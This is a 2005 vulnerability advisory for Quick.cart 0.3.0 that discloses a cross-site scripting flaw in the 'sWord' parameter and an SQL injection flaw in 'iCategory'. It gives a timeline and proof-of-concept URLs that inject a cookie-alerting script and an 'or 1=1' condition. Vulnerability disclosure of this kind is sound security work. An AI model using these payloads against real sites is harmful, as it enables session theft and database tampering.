quickCart.txt

`##################################################################  
Quick.cart 'sWord' variable XSS and 'iCategory' SQL injection  
vendor url:http://qc.dotgeek.org/os/index.php?p=productsQuickCart  
advisore:http://lostmon.blogspot.com/2005/05/quickcart-sword-variable-xss-and.html  
vendor notify: yes exploit available: yes  
  
##################################################################  
  
Quick.cart contais a flaw which can be exploited by malicious people  
to conduct cross-site scripting and SQL injection attacks.  
  
Input passed to the "sWord" variable in "index.php" isn't properly  
sanitised before being returned to the user. This can be exploited to  
execute arbitrary HTML, script code and in a user's browser session in  
context of a vulnerable site.  
  
Input passed to the "iCategory" parameter in "index.php" isn't  
properly sanitised before being used in a SQL query. This can be  
exploited to manipulate SQL queries by injecting arbitrary SQL code  
  
  
  
########  
versions  
########  
  
0.3.0 afected  
  
  
#############  
solution  
#############  
  
no solution available at this time  
  
#########  
timeline  
#########  
  
discovered:28 april 2005  
vendor notify: 10 may 2005 (webform)  
vendor response:  
vendor fix:  
disclosure: 11 may 2005  
  
##################  
proof of comcepts  
##################  
#####################  
Cross site scripting  
#####################  
  
http://[victim]/?p=productsList&sWord=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E  
http://[victim]/index.php?p=productsList&sWord=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
##############  
sql injection:  
##############  
  
http://[victim]/?p=productsList&iCategory=7%20or%201=1  
  
http://[victim]/index.php?p=productsList&iCategory=7%20or%201=1  
  
  
############### End #####################  
  
  
thnx to estrella to be my ligth  
Thnx to icaro heis my Shadow !!!  
thnx to all http://www.osvdb.org Team  
thnx to all who day after day support me !!!  
--   
atentamente:  
Lostmon ([email protected])  
Web-Blog: http://lostmon.blogspot.com/  
Data Mangler of: http://www.osvdb.org  
--  
La curiosidad es lo que hace mover la mente....  
`